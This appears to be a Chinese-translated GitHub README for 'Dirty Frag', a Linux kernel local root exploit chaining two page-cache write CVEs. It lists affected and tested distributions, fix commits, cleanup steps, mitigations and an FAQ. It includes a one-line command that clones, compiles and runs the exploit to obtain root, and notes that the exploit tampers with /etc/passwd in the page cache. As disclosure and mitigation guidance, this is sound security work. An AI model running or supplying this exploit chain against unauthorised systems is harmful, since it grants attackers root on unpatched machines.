ZeyuanGuo/dirtyfrag

GitHub: ZeyuanGuo/dirtyfrag

Dirty Frag 是利用 Linux 内核 xfrm-ESP 与 RxRPC 页缓存写入漏洞实现通用本地提权的 PoC,附带了页缓存恢复机制以减少对测试系统的影响。

Stars: 0 | Forks: 0

# Dirty Frag:通用 Linux LPE

tux

# 摘要 ![tux](https://static.pigsec.cn/wp-content/uploads/repos/cas/77/77b76144ea6d9e9387fb1a31137a18732769c2fc63d6fdddbe945961a618473a.gif) 本文档描述了由 [Hyunwoo Kim (@v4bel)](https://x.com/v4bel) 首次发现并报告的 Dirty Frag 漏洞类,该漏洞通过链式利用 `xfrm-ESP Page-Cache Write (CVE-2026-43284)` 漏洞和 `RxRPC Page-Cache Write (CVE-2026-43500)` 漏洞,可以在主流 Linux 发行版上获取 root 权限。 Dirty Frag 是 [Dirty Pipe](https://dirtypipe.cm4all.com/) 和 [Copy Fail](https://copy.fail/) 所属 bug 类的延伸案例。因为它是一个不依赖于时间窗口的确定性逻辑 bug,所以不需要竞态条件,在利用失败时 kernel 也不会 panic,并且成功率非常高。 有关详细的技术信息和时间线,[请看这里](assets/write-up.md)。 - `xfrm-ESP Page-Cache Write (CVE-2026-43284)` 已在主线 [f4c50a4034e6](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4) 中修复。 - `RxRPC Page-Cache Write (CVE-2026-43500)` 已在主线 [aa54b1d27fe0](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71) 中修复。 # 利用说明 ## 一行特性 ``` git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp ``` 本 PoC 是在与 linux-distros 协商后作为准确信息提供的。请勿在未经授权的系统上使用。 ## 清理 在正常退出交互式 shell(`exit` 或 `Ctrl-D`)时,PoC 现在会尝试 驱逐它可能修改过的每个目标的缓存,并根据第一次写入前捕获的快照验证受影响的 字节和文件元数据。RxRPC 破坏阶段在一个生命期短暂的子进程中运行,因此它的 `/etc/passwd` 映射 会在恢复之前被释放。成功的清理会打印: ``` dirtyfrag: page-cache restoration verified for ``` 如果无法验证恢复情况,PoC 将以状态码 `7` 退出。请勿在 该状态下重复使用测试系统。 ⚠️ **重要提示:** 自动恢复仅涵盖正常退出路径。如果 PoC 或 shell 异常终止,或者返回了状态码 `7`,请通过运行以下命令清除 受污染的 page cache: ``` echo 3 > /proc/sys/vm/drop_caches ``` 或者重启系统。 # 受影响版本 - **CVE-2026-43284**: xfrm-ESP Page-Cache Write 漏洞的影响范围从 [cac2661c53f3 (2017-01-17)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cac2661c53f3) 到 [f4c50a4034e6 (2026-05-05)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4)。 - **CVE-2026-43500**: RxRPC Page-Cache Write 漏洞的影响范围从 [2dc334f1a63a (2023-06-08)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2dc334f1a63a) 到 [aa54b1d27fe0 (2026-05-10)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71)。 换句话说,这些漏洞的实际有效寿命约为 9 年。 此 Dirty Frag 已经在以下发行版版本上进行了测试。 - Ubuntu 24.04.4: 6.17.0-23-generic - RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64 - openSUSE Tumbleweed: 7.0.2-1-default - CentOS Stream 10: 6.12.0-224.el10.x86_64 - AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64 - Fedora 44: 6.19.14-300.fc44.x86_64 - ... # 缓解措施 1. 使用以下命令移除发生漏洞的模块并清理 page cache。 ``` sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true" ``` 2. 一旦各个发行版反向移植了补丁,请相应地进行更新。 # 常见问题解答 ## 为什么要链式利用两个漏洞? xfrm-ESP Page-Cache Write 提供了像 Copy Fail 一样强大的任意 4 字节 STORE 原语,并且包含在大多数发行版中,但它需要创建 namespace 的权限。 Ubuntu 有时会通过 AppArmor 策略阻止非特权用户创建 namespace。在这种环境下,xfrm-ESP Page-Cache Write 无法被触发。RxRPC Page-Cache Write 不需要创建 namespace 的权限,但 `rxrpc.ko` 模块本身并没有包含在大多数发行版中。然而,在 Ubuntu 上,`rxrpc.ko` 模块是默认加载的。 将这两个变体链式利用可以互相弥补各自的盲区,从而能够在所有主流发行版上获得 root 权限。有关详细信息,请参阅技术细节文档。 ## 又一个“有品牌包装的”“Dirty”系列? 是的是的,我知道。然而,这个漏洞是 “Dirty Pipe” 的后裔,而且它是一个会把 `struct sk_buff` 的 `frag` 成员“弄脏”的 bug 类,所以这个名字是最合适的。 ## 它与 “Copy Fail” 漏洞有什么关系? Copy Fail 是开展此项研究的动机。特别是,Dirty Frag 漏洞链中的 xfrm-ESP Page-Cache Write 与 Copy Fail 共享同一个 sink。然而,无论 algif_aead 模块是否可用,它都会被触发。换句话说,即使在应用了已公开的 Copy Fail 缓解措施(algif_aead 黑名单)的系统上,你的 Linux 仍然容易受到 Dirty Frag 的攻击。 ## 那么,我该如何修复我的 Linux? 请参阅上面的缓解措施部分。
标签:0day挖掘, Dirty Pagetable, PoC, Web报告查看器, 内核安全, 安全渗透, 客户端加密, 暴力破解, 本地提权